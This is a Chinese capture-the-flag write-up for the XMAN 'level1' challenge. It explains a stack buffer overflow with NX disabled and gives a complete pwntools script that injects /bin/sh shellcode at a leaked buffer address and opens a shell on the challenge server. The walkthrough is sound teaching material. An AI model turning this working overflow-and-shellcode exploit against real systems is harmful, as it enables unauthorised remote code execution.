XMAN-level1(shellcode)

思路:这题考察shellcode,没有开启NX保护,栈上数据可以执行,并且直接给出buf的地址,我们可以把shellcoded放在buf起始位置,将返回地址覆盖为shellcode即可执行shellcode。

1.gdb-peda查看是否有保护机制,这里没有开启NX保护,可以通过执行shellcode来get shell。

XMAN-level1(shellcode)_第1张图片

2.使用IDA查看代码,有漏洞的函数如下图:

XMAN-level1(shellcode)_第2张图片

3.由程序代码知道泄露出buf的起始位置,那么我们可以在buf起始位置写入shellcode,然后将vulnerable_function函数的返回地址覆盖为buf的起始位置,就可以执行shellcode了。一图胜千言[来自网络]:

XMAN-level1(shellcode)_第3张图片

4.具体脚本如下:

# coding:utf-8
from pwn import *

context.log_level = 'debug'
shellcode = asm(shellcraft.i386.linux.sh())#生成响应环境的shellcode
sh = remote('pwn2.jarvisoj.com',9877)
# sh = process('./level1')
# elf = ELF('./level1')
line = sh.recvline()[14:-2]#获取buf地址
buf_addr = int(line,16)#将字符串地址转换成十进制
payload = shellcode + 'A' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
sh.send(payload)
sh.interactive()
sh.close()

你可能感兴趣的:(XMAN-level1(shellcode))